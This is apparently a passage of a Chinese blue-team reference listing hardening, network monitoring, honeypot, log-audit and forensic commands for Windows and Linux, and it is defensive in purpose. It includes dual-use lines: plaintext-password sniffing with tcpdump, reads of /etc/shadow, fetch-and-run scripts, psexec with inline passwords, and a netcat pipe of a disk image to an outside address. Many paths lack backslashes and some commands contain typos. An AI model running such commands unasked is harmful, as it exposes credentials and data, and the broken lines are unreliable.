计算某目录下所有可执行文件的HASH值 # find /sbin -type f -exec md5sum {} >> md5sums.txt ; # md5deep -rs /sbin > md5sums.txt 3.5 NETBIOS nbtstat 扫描 # nbtscan 目标IP地址或IP地址段 举例:nbtscan 192.168.1.2-100 4. 安全加固 4.1 WINDOWS系统篇 4.1.1 禁用/停止服务 # C:> sc query # C:> sc config "服务名" start= disabled # C:> sc stop "服务名" # C:> wmic service where name="服务名" call ChangeStartmode Disabled 4.1.2 防火墙管理 # 列出所有规则: # C:> netsh advfirewall firewall show rule name=all # 启用或禁用防火墙: C:> netsh advfirewall set currentprofile state on C:> netsh advfirewall set currentprofile firewallpolicy blockinboundalways,allowoutbound C:> netsh advfirewall set publicprofile state on C:> netsh advfirewall set privateprofile state on C:> netsh advfirewall set domainprofile state on C:> netsh advfirewall set allprofile state on C:> netsh advfirewall set allprof ile state off # 配置举例: netsh advfirewall firewall add rule name="开放TCP:80端口" dir=in action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="开放TCP:443端口" dir=in action=allow protocol=TCP localport=443 netsh advfirewall firewall add rule name="屏蔽TCP:445端口" dir=in action=block protocol=TCP localport=445 netsh advfirewall firewall add rule name="允许MyApp" dir=in action=allow program="C:MyAppMyApp.exe" enable=yes 4.1.3 清除DNS缓存和Netios缓存 # C:> ipconfig /flushdns # C:> nbtstat -R 4.1.4 应用控制 # AppLocker配置 # 导入Applocker模块 PS C:> import-module Applocker # 查看system32目录下所有exe文件的Applocker信息 PS C:> Get-ApplockerFileinformation -Directory C:WindowsSystem32 -Recurse -FileType Exe # 增加一条针对system32目录下所有的exe文件的允许规则 PS C:> Get-Childitem C:WindowsSystem32*,exe | Get-ApplockerFileinformation | New-ApplockerPolicy -RuleType Publisher, Hash -User Everyone -RuleNamePrefix System32 4.1.5 IPSEC #使用预共享密钥的方式新建一条IPSEC本地安全策略,应用到所有连接和协议 C:> netsh ipsec static add filter filterlist=MyIPsecFilter srcaddr=Any dstaddr=Any protocol=ANY C:> netsh ipsec static add filteraction name=MyIPsecAction action=negotiate C:> netsh ipsec static add policy name=MyIPsecPolicy assign=yes C:> netsh ipsec static add rule name=MyIPsecRule policy=MyIPsecPolicy filterlist=MyIPsecFilter filteraction=MyIPsecAction conntype=all activate=yes psk=密码 #新建一条允许访问外网TCP 80和443端口的IPSEC策略 C:> netsh ipsec static add filteraction name=Allow action=permit C:> netsh ipsec static add filter filterlist=WebFilter srcaddr=Any dstaddr=Any protocol=TCP dstport=80 C:> netsh ipsec static add filter filterlist=WebFilter srcaddr=Any dstaddr=Any protocol=TCP dstport=443 C:> netsh ipsec static add rule name=WebAllow policy=MyIPsecPolicy filterlist=WebFilter filteraction=Allow conntype=all activate=yes psk=密码 #查看和禁用某条IPSEC本地安全策略 C:> netsh ipsec static show policy name=MyIPsecPolicy C:> netsh ipsec static set policy name=MyIPsecPolicy assign=no # 新建一条IPSEC对应的防火墙规则,源地址和目的地址为any C:> netsh advfirewall consec add rule name="IPSEC" endpointl=any endpoint2=any action=requireinrequireout qmsecmethods=default # 新建一条IPSEC对应的防火墙规则,所有出站请求必须提供预共享密钥 C:> netsh advfirewall firewall add rule name="IPSEC_Out" dir=out action=allow enable=yes profile=any localip=any remoteip=any protocol=any interfacetype=any security=authenticate 4.1.6 其他安全策略 # 禁用远程桌面连接 C:> reg add "HKLMSYSTEMCurrentControlSetControlTerminalServer" /f /v fDenyTSConnections /t REG_DWORD /d 1 # 只发送NTLMv2响应(防止“永恒之蓝”漏洞攻击) C:> reg add HKLMSYSTEMCurrentControlSetControlLsa /v lmcompatibilitylevel /t REG_DWORD /d 5 /f # 禁用IPV6 C:> reg add HKLMSYSTEMCurrentControlSetservicesTCPIP6Parameters /v DisabledComponents /t REG_DWORD /d 255 /f # 禁用sticky键 C:> reg add "HKCUControlPanelAccessibilityStickyKeys" /v Flags /t REG_SZ /d 506 /f # 禁用管理共享(Servers/Workstations) C:> reg add HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters /f /v AutoShareServer /t REG_DWORD /d 0 C:> reg add HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters /f /v AutoShareWks /t REG_DWORD /d 0 # 禁用注册表编辑器和CMD命令提示符 C:> reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableRegistryTools /t REG_DWORD /d 1 /f C:> reg add HKCUSoftwarePoliciesMicrosoftWindowsSystem /v DisableCMD /t REG_DWORD /d 1 /f # 启用UAC C:> reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v EnableLUA /t REG_DWORD /d 1 /f # 启用防火墙日志 C:> netsh firewall set logging droppedpackets = enable C:> netsh firewall set logging connections = enable 4.2 LINUX系统篇 4.2.1 服务管理 # 查看服务状态 service –status-all ps -ef OR ps -aux initctl list systemctl list-unit-files # 启动,停止和禁用服务 # For Upstart services: /etc/init.d/apache2 start | stop | status service apache2 start | stop | status update-rc.d apache2 disable # For Systemd services: systemctl start | stop | status ntp.service systemctl disable sshd.service 4.2.2 防火墙管理 # iptables 常用操作: iptables-save > filewall_rules.bak # 导出当前规则 iptables -vnL –line # 列出所有规则 iptables -S # 同上 iptables -P INPUT DROP # 默认策略,禁止所有连接 iptables -A INPUT -s 10.10.10.10 -j DROP # 禁止单个IP iptables -A INPUT -s 10,10.10.0/24 -j DROP # 禁止一个网段 iptables -A INPUT -p tcp –dport ssh -s 10.10.10.10 -j DROP # 禁止某IP访问本机SSH服务 iptables -A INPUT -p tcp –dport ssh -j DROP # 禁止访问本机SSH服务 iptables -I INPUT 5 -m limit –limit 5/min -j LOG –log-prefix " iptables denied: " –log-level 7 # 启用日志 iptables -F # 清除所有已加载的工作 4.2.3 DNS缓存 # Unix/Linux系统没有系统级别DNS缓存 4.2.4 配置IPSEC # 在两台服务器之间建立IPSEC通道 1.)添加防火墙规则允许IPSEC协议 iptables -A INPUT -p esp -j ACCEPT iptables -A INPUT -p ah -j ACCEPT iptables -A INPUT -p udp –dport 500 -j ACCEPT iptables -A INPUT -p udp –dport 4500 -j ACCEPT 2.)安装Racoon apt -y install racoon 3.)编辑配置文件:/etc/ipsec-tools.conf flush; spdflush; spdadd 主机A的IP地址 主机B的IP地址 any -P out ipsec esp/transport//require; spdadd 主机B的IP地址 主机A的IP地址 any -P in ipsec esp/transport//require; 4.)编辑配置文件:/etc/racoon/racoon.conf log notify; path pre_shared_key "/etc/racoon/psk.txt"; path certificate "/etc/racoon/certs"; remote anonymous { exchange_mode main,aggressive;proposal { encryption_algorithm aes_256; hash_algorithm sha256; authentication_method pre_shared_key; dh_group modp1024; } generate_policy off; } sainfo anonymous{ pfs_group 2;encryption_algorithm aes_256;authentication_algorithm hmac_sha256;compression_algorithm deflate; } 5.)添加预共享密钥 主机A:echo 主机B 123 >> /etc/racoon/psk.txt 主机B:echo 主机A 123 >> /etc/racoon/psk.txt 6.)重启服务,检查协商及配置策略 service setkey restart setkey -D setkey -DP 5. 检测(Visibility) 5.1 网络安全监控 5.1.1 数据包捕捉与分析 1.)TCPDUMP tcpdump -tttt -n -vv # 打印时戳、不进行名称解析及verbose方式显示 tcpdump -nn -c 1000 | awk '{print $3}' | cut -d. -f1-4 | sort -n | uniq -c | sort -nr # 捕捉1000个数据包,找出Top talkers tcpdump -w target.pcap -i any dst targetIP and port 80 # 在所有接口上捕捉目标IP为:targetIP且端口为80的数据包并写入target.pcap文件 tcpdump host 10.0.0.1 && host 10.0.0.2 # 捕捉两个主机之间的数据包 tcpdump not net 10.10 && not host 192.168.1.2 #检视非10.10网段及非192.168.1.2主机的数据包 tcpdump host 10.10.10.10 && (10.10.10.20 or 10.10.10.30) # 检视主机A和主机B或C的数据包 tcpdump -n -s0 -C 100 -w 001.pcap # 轮询,文件大小超过100M后自动创建新文件 tcpdump -w – | ssh ServerIP -p 50005 "cat – > /tmp/remotecapture.pcap" # 保存捕获的数据包到远程服务器上的/tmp/remotecapture.pcap文件 tcpdump -n -A -s0 port http or port ftp or port smtp or port imap or port pop3 | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|Passwd=|password=|pass:|user:|username:|password:|login:|pass|user' –color=auto –line-buffered -B20 # 抓取明文密码 tcpdump -s 1500 -A '(tcp[((tcp[12:1] & 0xf0) >> 2)+5:1] = 0x01) and (tcp[((tcp[12:1] & 0xf0) >> 2):1] = 0x16)' #查找自签名证书 2.)TSHARK tshark -nr 001.pcap -Y "ssl.handshake.ciphersuites" -Vx | grep "ServerName:" | sort | uniq -c | sort -r # 提取证书Server Name字段 tshark -D # 列出所有接口 tshark -i eth0 -i eth1 # 监听多个接口 tshark -nn -w 001.pcap # 禁用名称解析并保存到文件 tshark arp or icmp # 捕捉arp或者icmp tshark "host 主机A && host 主机B" # 捕捉两个主机之间的数据包 tshark -r 001.pcap # 对已保存的数据包进行分析 tshark -n -e ip.src -e ip.dst -T fields -E separator=, -2 -R ip -r 001.pcap # 提取源/目的IP地址 tshark -n -e ip.src -e dns,qry.name -E separator=';' -T fields port 53 # 提取DNS查询的源IP及DNS查询的域名 tshark -2 -R http.request -T fields -E separator=';' -e http.host -e http.request.uri -r 001.pcap # 提取HTTP请求中的host参数和请求uri tshark -n -c 150 I awk '{print $4}' I sort -n | uniq -c | sort -nr # 提取top talkers tshark -q -z io,phs -r 001.pcap # 协议统计tshark -n -c 100 -e ip.src -Y "dns.flags.response eq 1" -T fields port 53 # 提取响应的DNS服务器地址 tshark -n -e http.request.uri -Y http.request -T fields | grep exe # 提取通过http下载exe可执行文件的数据包 3.)SNORT snort -T -c /etc/snort/snort.conf # 测试配置文件配置 snort -dv -r 001.log # 分析数据包 snort -dvr 001.log icmp # 取icmp数据包 snort -K ascii -l 001 # 抓包,ASCII格式显示 snort -q -A console -i eth0 -c /etc/snort/snort.conf # 在终端打印 snort eventsecho 'log tcp 192.168.1.0/24 any -> 192.168.1.95 22 ( msg: "ssh access" ; sid:1618008; )' > 001.rule && snort -T -c 001.rule # 规则测试 mkdir logs && snort -vd -c 001.rule -r 001.pcap -A console -l logs # 执行规则 4.)Bro NSM apt -y install bro bro-aux pip install bro-pkg bro-pkg install bro/hosom/file-extraction wget https://www.malware-traffic-analysis.net/2018/01/12/2018-01-12-NanoCore-RAT-traffic.pcap.zip wget https://www.bro.org/static/exchange-2013/faf-exercise.pcap bro -r 2018-01-12-NanoCore-RAT-traffic.pcap # 从pcap文件中读取数据并创建相关日志文件 bro -r faf-exercise.pcap /root/.bro-pkg/scratch/file-extraction/scripts/plugins/extract-pe.bro && ls -lhct ./extract_files/ # 提取exe文件 bro -r faf-exercise.pcap /usr/share/bro/policy/frameworks/files/extract-all-files.bro # 提取多个类型的文件 bro -C -r faf-exercise.pcap && cat ssl.log | bro-cut server_name , subject , issuer # 提取证书中的server_name,issuer和subjects字段 cat conn.log | bro-cut id.orig_h , id.orig_p , id.resp_h , id.resp_p , proto , conn_state # 提取源IP,源端口,目的IP,目的端口,协议类型,tcp标记 cat dns.log | bro-cut query | sort -u # 提取DNS查询namecat http.log | bro-cut id.orig_h , id.orig_p , id.resp_h , id.resp_p , host , uri , referrer # 提取源IP,源端口,目的IP,目的端口,host,uri,referrer字段 cat http.log | bro-cut user_agent | sort -u # 提取user_agent字段 5.)EDITCAP editcap -F pcap -c 1000 orignal.pcap out_split.pcap # 以1000为单位进行分割 editcap -F pcap -t+3600 orignal.pcap out_split.pcap # 以1小时为单位进行分割 6.)MERGECAP mergecap -w merged_cap.pcap capl.pcap cap2.pcap cap3.pcap # 合并多个文件 7.)PacketTotal https://www.packettotal.com/app/analysis?id=c8c11b792272ac19a49299a3687466be&name=files 8.)NetworkMiner http://netres.ec/?b=173588E 5.2 蜜罐技术 5.2.1 WINDOWS系统篇 1.)端口蜜罐 # 原理:监听一些端口,客户端成功建立TCP连接后,记录访问日志,然后添加防火墙规则封禁此IP PS C:> certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Pwdrkeg/honeyport/master/honeyport.ps1 PS C:> .honeyport.ps1 -Ports 4444,22,21,23 -WhiteList 192.168.10.1,192.168.10.2 -Block $true -Verbose PS C:> Get-EventLog HoneyPort # 查看日志信息 PS C:> stop-job -name HoneyPort # 停止任务 PS C:> remove-job -name HoneyPort # 移除任务 5.3.2 LINUX系统篇 1.)端口蜜罐 # 原理同上 wget https://raw.githubusercontent.com/gchetrick/honeyports/master/honeyports-0.5.pypython honeyports-0.5.py -p 1234 -h 192.168.1.100 -D 2.) (PASSIVE)监控DNS解析 apt -y install dnstop dnstop -l 3 eth0 dnstop -l 3 001.pcap | out.txt 5.3 日志审计 5.3.1 WINDOWS # 增加日志文件大小进行日志审计 C:> reg add HKLMSoftwarePoliciesMicrosoftWindowsEventlogApplication /v MaxSize /t REG_DWORD /d 0x19000 C:> reg add HKLMSoftwarePoliciesMicrosoftWindowsEventlogSecurity /v MaxSize /t REG_DWORD /d 0x64000 C:> reg add HKLMSoftwarePoliciesMicrosoftWindowsEventLogSystem /v MaxSize /t REG_DWORD /d 0x19000 # 查看Windows事件日志-安全日志的配置 C:> wevtutil gl Security # 检查审核策略 auditpol /get /category:* # 对所有项启用成功和失败的审核策略 C:> auditpol /set /category:* /success:enable /failure:enable # 查看已配置的事件日志的概要信息 PS C:> Get-Eventlog -list # 取最近5条应用程序日志 PS C:> Get-Eventlog -newest 5 -logname application | Format-List # 取Eent ID:4672的所有日志 PS C:> Get-Eventlog Security | ? { $_.Eventid -eq 4672} # 登录与注销事件 PS C:> Get-Eventlog Security 4625,4634,4647,4624,4625,4648,4675,6272,6273,6274,6275,6276,6277,6278,6279,6280,4649,4778,4779,4800,4801,4802,4803,5378,5632,5633,4964 -after ((get-date).addDays(-1)) # DPAPI行为,进程终止,RPC事件 PS C:> Get-EventLog Security 4692,4693,4694,4695,4689,5712 -after ((get-date).addDays(-1) # 文件共享,文件系统,SAM,注册表,证书时间 PS C: Get-EventLog Security 4671,4691,4698,4699,4700,4701,4702,5148,5149,5888,5889,5890,4657,5039,4659,4660,4661,4663,4656,4658,4690,4874,4875,4880,4881,4882,4884,4885,4888,4890,4891,4892,4895,4896,4898,5145,5140,5142,5143,5144,5168,5140,5142,5143,5144,5168,5140,5142,5143,5144,5168,4664,4985,5152,5153,5031,5140,5150,5151,5154,5155,5156,5157,5158,5159 -after ((get-date).addDays(-1)) # 查看Eent ID:4672的详细信息 Get-Eventlog Security | ? { $_.Eventid -eq 4672} | Format-List 5.3.2 LINUX # 认证日志 tail /var/log/auth. log grep -i "fail" /var/log/auth. log tail /var/log/secure grep -i "fail" /var/log/secure # samba,cron,sudo相关日志 grep -i samba /var/log/syslog grep -i samba /var/log/messages grep -i cron /var/log/syslog grep -i sudo /var/log/auth. log grep -i sudo /var/log/secure # Apache 404错误日志 grep 404 apache.log | grep -v -E "favicon.ico|robots.txt" # 监控新文件,5分钟刷新一次 watch -n 300 -d ls -lR /web_root 5.4 响应(取证) 5.4.1 WINDOWS系统篇 1.)系统信息 C:> echo %DATE% %TIME% C:> hostname C:> systeminfo C:> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" C:> wmic csproduct get name C:> wmic bios get serialnumber C:> wmic computersystem list brief C:> psinfo -accepteula -s -h -d 2.)用户信息 C:> whoamiC:> net users C:> net localgroup administrators C:> net group administrators C:> wmic rdtoggle list C:> wmic useraccount list C:> wmic group list C:> wmic netlogin get name,lastlogon,badpasswordcount C:> wmic netclient list brief C:> doskey /history > history.txt 3.)网络信息 C:> netstat -e C:> netstat -naob C:> netstat -nr C:> netstat -vb C:> nbtstat -s C:> route print C:> arp -a C:> ipconfig /displaydns C:> netsh winhttp show proxy C:> ipconfig /allcompartments /all C:> netsh wlan show interfaces C:> netsh wlan show all C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionInternet SettingsConnectionsWinHttpSettings" C:> type %SYSTEMROOT%system32driversetchosts C:> wmic nicconfig get descriptions,IPaddress,MACaddress C:> wmic netuse get name,username,connectiontype, localname 4.)服务信息 C:> at C:> tasklist C:> tasklist /svc C:> tasklist /SVC /fi "imagename eq svchost.exe" C:> tasklist /SVC /fi "imagename eq svchost.exe" C:> schtasks C:> net start C:> sc query C:> wmic service list brief | findstr "Running" C:> wmic service list conf ig C:> wmic process list brief C:> wmic process list status C:> wmic process list memory C:> wmic job list briefPS C:> Get-Service | Where-Object { $_.Status -eq "running" } 5.)策略、补丁、环境变量信息 C:> set C:> gpresult /r C:> gpresult /z > output.txt C:> gpresult /H report.html /F C:> wmic qfe 6.)自启动信息 C:> wmic startup list full C:> wmic ntdomain list brief 6.1)检查自启动文件目录 C:> dir "%SystemDrive%ProgramDataMicrosoftWindowsStart MenuProgramsStartup" C:> dir "%SystemDrive%Documents and SettingsAll UsersStart MenuProgramsStartup" C:> dir %userprofile%Start MenuProgramsStartup C:> %ProgramFiles%Startup C:> dir C:WindowsStart MenuProgramsstartup C:> dir "C:Users%username%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup" C:> dir "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup" C:> dir "%APPDATA%MicrosoftWindowsStart MenuProgramsStartup" C:> dir "%ALLUSERSPROFILE%MicrosoftWindowsStart MenuProgramsStartup" C:> dir "%ALLUSERSPROFILE%Start MenuProgramsStartup" C:> type C:Windowswinstart.bat C:> type %windir%wininit.ini C:> type %windir%win.ini C:> type C:Autoexec.bat" 6.2)使用autoruns C:> autorunsc -accepteula -m 6.3)自启动注册表位置 HKEY_CLASSES_ROOT: C:> reg query HKCRComfileShellOpenCommand C:> reg query HKCRBatfileShellOpenCommand C:> reg query HKCRhtafileShellOpenCommand C:> reg query HKCRExefileShellOpenCommand C:> reg query HKCRExefilesShellOpenCommand C:> reg query HKCRpiffileshellopencommand HKEY_CURRENT_USERS: C:> reg query "HKCUControl PanelDesktop" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRunonce" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnceEx" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRunServices" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionWindowsRun" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionWindowsLoad" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionWindowsScripts" C:> reg query "HKCUSoftwareMicrosoftWindowsNTCurrentVersionWindows" /f run C:> reg query "HKCUSoftwareMicrosoftWindowsNTCurrentVersionWindows" /f load C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerRecentDocs" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedMRU" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerComD1g32OpenSaveMRU" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerComD1g32OpenSavePidlMRU" /s C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders" C:> reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionAppletsRegEdit" /v LastKey C:> reg query "HKCUSoftwareMicrosoftInternetExplorer" TypedURLs C:> reg query "HKCUSoftwarePoliciesMicrosoftWindowsControlPanelDesktop"HKEY_LOCAL_MACHINE: C:> reg query "HKLMSOFTWAREMicrosoftActive SetupInstalled Components" /s C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionexplorerUser Shell Folders" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionexplorerShell Folders" C:> reg query "HKLMSoftwareMicrosoftWindowsCurrentVersionexplorerShellExecuteHooks" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects" /s C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunonce" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunServices" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionWinlogonUserinit" C:> reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionshellServiceObjectDelayLoad" C:> reg query "HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionScheduleTaskCacheTasks" /s C:> reg query "HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionWindows" C:> reg query "HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionWindows" /f Appinit_DLLs C:> reg query "HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon" /f Shell C:> reg query "HKLMSOFTWAREMic rosoftWindowsNTCurrentVersionWinlogon" /f Userinit C:> reg query "HKLMSOFTWAREPoliciesMicrosoftWindowsSysternScripts" C:> reg query "HKLMSOFTWAREClassesbatfileshellopencornrnand" C:> reg query "HKLMSOFTWAREClassescornfileshellopencornrnand" C:> reg query "HKLMSOFTWAREClassesexefileshellopencommand" C:> reg query "HKLMSOFTWAREClasseshtafileShellOpenCommand" C:> reg query "HKLMSOFTWAREClassespiffileshellopencommand" C:> reg query "HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects" /s C:> reg query "HKLMSYSTEMCurrentControlSetControlSessionManager" C:> reg query "HKLMSYSTEMCurrentControlSetControlSessionManagerKnownDLLs" C:> reg query "HKLMSYSTEMControlSet001ControlSessionManagerKnownDLLs" 7.)取日志文件 C:> wevtutil epl Security C:bakSecurity-logs.evtx C:> wevtutil epl System C:bakSystem-logs.evtx C:> wevtutil epl Application C:bakApplication-logs.evtx 8.)文件、目录、共享信息 C:> net use 目标IP C:> net share C:> net session C:> wmic volume list brief C:> wmic logicaldisk get description,filesystem,name,size C:> wmic share get name,path # 查找多个类型的文件或某个文件 C:> dir /A /S /T:A *.exe *.dll *.bat *.PS1 *.zip C:> dir /A /S /T:A evil.exe # 查找2017/1/1之后创建的文件 C:> forfiles /p C: /M *.exe /S /D +2017/1/1 /C "cmd /c echo @fdate @ftime @path" C:> for %G in (.exe, .dll, .bat, .ps) do forfiles -p "C:" -m *%G -s -d +2017/1/1 -c "cmd /c echo @fdate @ftime @path" # 查找文件大小>20MB的文件 forfiles /S /M * /C "cmd /c if @fsize GEQ 2097152 echo @path @fsize" # 在Alternate Data Streams中查找文件 C:> streams -s 文件或目录 # 检查数字签名,vt扫描 C:> sigcheck -e -u -vr -s C: C:> listdlls.exe -u# 扫描病毒 C:> "C:Program FilesWindows DefenderMpCmdRun.exe" -SignatureUpdate C:> "C:Program FilesWindows DefenderMpCmdRun.exe" -Scan“ 5.4.2 LINUX篇 1.)系统信息 uname -a uptime timedatectl mount 2.)用户信息 Wlastlog last faillog -a cat /etc/passwd cat /etc/shadow cat /etc/group cat /etc/sudoers # 查找UID为0的用户 awk -F: '($3 == "0") {print}' /etc/passwd egrep ':0+' /etc/passwd cat /root/.ssh/authorized_keys lsof -u root cat /root/.bash_history 3.)网络信息 # 查看网络接口 ifconfig OR ip a l # 查看监听端口 netstat -tupnl # 查看网络连接 netstat -tupnlanetstat -tupnlax # 路由信息 route OR netstat -r OR ip r l # ARP表 arp -ne # 监听端口的进程 lsof -i 4.)服务信息 # 列出所有进程 ps aux OR ps -ef # 已加载内核模块 lsmod # 打开的文件 lsof lsof -c sshd lsof -p PID lsof -nPi | cut -f1 -d" " | uniq | tail -n +2 # 监控日志 less +F /var/log/messages tail -F /var/log/messages journalctl -u ssh.service -f # 列出所有服务 chkconfig –list systemctl list-units 5.)策略、补丁、环境变量信息 # 检查pam.d目录相关文件 cat /etc/pam.d/common* # 自启动信息 – 计划任务 crontab -l crontab -u root -l cat /etc/crontab ls /etc/cron,* 6.)命令历史 cat /root/.*history 7.)文件、目录、共享信息 df -ah ls -lhcta /etc/init.d/ stat -x filenamefile filename # 特殊属性文件 lsattr -R / | grep "-i-" # 全局可写文件 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # 某时间点之后新建的文件 find / -newermt 2018-01-22q # 打印文件的所有属性信息 find /labs -printf "%m;%Ax;%AT;%Tx;%TT;%Cx;%CT;%U;%G;%s;%pn" # 查看文件的元数据stat 文件名 8.) 简单基线检查 wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check && ./unix-privesc-check > output.txt 9.) 检测rootkit chkrootkit rkhunter –update && rkhunter -check tiger && less /var/log/tiger/security.report.* lynis && lynis audit system && more /var/logs/lynis. log 10.) Fastir Collector Linux,收集artefacts,包括:内核版本、内核模块、网卡、系统版本、主机名、登录、网络连接、SSH know_host、日志文件、进程数据、自启动等信息 wget https://raw.githubusercontent.com/SekoiaLab/Fastir_Collector_Linux/master/fastIR_collector_linux.py python fastIR_collector_linux.py –debug –output_dir output 11.) Sysdig and Sysdig Falco 行为监控 # 观察root用户查看过的目录 sysdig -p"%evt.arg.path" "evt.type=chdir and user.name=root" # 观察SSHD行为 sysdig -A -c echo_fds fd.name=/dev/ptmx and proc.name=sshd # id为5459的登录shell执行过的所有命令 sysdig -r trace.scap.gz -c spy_users proc.loginshellid=5459 # 安装,启动falco curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add -curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/stable/deb/draios.list sudo apt update apt -y install falco modprobe sysdig-probe service falco start falco 5.4.2 病毒样本分析 # 静态分析 # 挂载Sysinternals工具集 live.sysinternals.comtools # 检查数字签名 C:> sigcheck.exe -u -e C:malware C:> sigcheck.exe -vt malware.exe # 16机制和ASCII方式查看PE文件 hexdump -C -n 500 malware.exe od -x mailware.exe xxd malware.exe strings -a malware.exe | more # 内存镜像分析 python vol.py -f malware_memory_dump.raw -profile=Win7SPFix64 malfind -D /output python vol.py -f malware_memory_dump.raw -profile=Win7SPFix64 malfind -p PID -D /output python vol.py -f malware_memory_dump.raw -profile=Win7SPFix64 pslist python vol.py -f malware_memory_dump.raw -profile=Win7SPFix64 pstree python vol.py -f malware_memory_dump.raw -profile=Win7SPFix64 dlllist python vol.py -f malware_memory_dump.raw -profile=Win7SPFix64 dlldump -D /output # HASH分析 curl -v –request POST –url https://www.virustotal.com/vtapi/v2/file/report' -d apikey=VT API KEY -d 'resource=样本文件hash' curl -v -F 'file=malware.exe' -F apikey=VT API KEY>https://www.virustotal.com/vtapi/v2/file/scanwhois -h hash,cymru.com 样本文件hash # 获取磁盘和内存镜像 # WINDOWS C:> psexec.exe IP -u <DOMAIN>administrator -p 123 -c mdd_l.3.exe –o C:memory.dmp C:> dc3dd.exe if=.c: of=d:diskiamge.dd hash=md5 log=d:output.log # LINUX dd if=/dev/fmem of=/tmp/mem_dump.dd # 使用LiME get https://github.com/504ensicslabs/LiME/archive/master.zip unzip master.zip cd LiME-master/src make cp lime-*.ko /media/USB/ insmod lime-3.13.0-79-generic.ko "path=/media/USB/mem_dump.lime format= raw" # 从内存中拷贝PE文件 cp /proc/进程ID/exe /output # 创建进程core dump gcore 进程ID strings -a gcore.* | more dd if=/dev/sda of=/root/sda.dd dd if=/dev/sda | ssh root@RemoteIP "dd of=/root/sda.dd" # 通过netcat传送接收镜像文件 bzip2 -c /dev/sda | nc 8.8.8.8 53 nc -p 53 -l | bzip2 -d | dd of=/root/sda.dd 6. 常用技巧和工具 6.1 技巧 6.1.1 WINDOWS系统篇 # 将命令结果通过管道输出到粘帖板,然后将粘帖板的内容重定向到文件 C:> some_command.exe | clip PS C:> Get-Clipboard > clip.txt # 检查注册表某路径是否存在 PS C:> Test-Path "HKCU:SoftwareMicrosoft123" # 可靠文件复制 robocopy c:src 目标计算机dst /E # 检查某目录是否存在ps1,vbs扩展的文件 PS C:> Test-Path C:ScriptsArchive* -include *.ps1, *.vbs # 合并多个文件 C:> type 1.txt 2.txt > output.txt # 多个桌面窗口(Desktops) C:>"%ProgramFiles%Internet Exploreriexplore.exe" https://live.sysinternals.com/desktops.exe # 在远程计算机执行命令 C:> psexec.exe 远程计算机 -u admin -p 123 /c c:123.exe PS C:> Invoke-Command -远程计算机 { ls } # 比较两个文件的差异 PS C:> Compare-Object (-Content 1.log) -DifferenceObject (Get-Content 2.log) # 进制转换与编码 C:> set /a 0xff PS C:> 0xff C:> certutil -decode BASE64编码文件 output.file # 解码XOR,搜索关键字:http C:> xorsearch.exe -i -s input.file http 6.1.2 LINUX系统篇 1.)SNORT # 通过ssh在远程服务器上抓包 ssh [email protected] tcpdump -i any -U -s 0 -w – 'not port 22' # SNORT规则检测Meterpreter # Snort rules by Didier Stevens (http://DidierStevens.com) alert tcp HOME_NET any -> EXTERNAL_NET HTTP_PORTS (msg:"Metasploit Meterpreter"; flow:to_server,established; content:"RECV"; http_client_body; depth:4; fast_pattern; isdataat:!0,relative; urilen:23<>24,norm; content:"POST"; pcre:"/^/[a-z0-9]{4,5}_[a-z0-9]{16}//Ui"; classtype:trojan-activity; 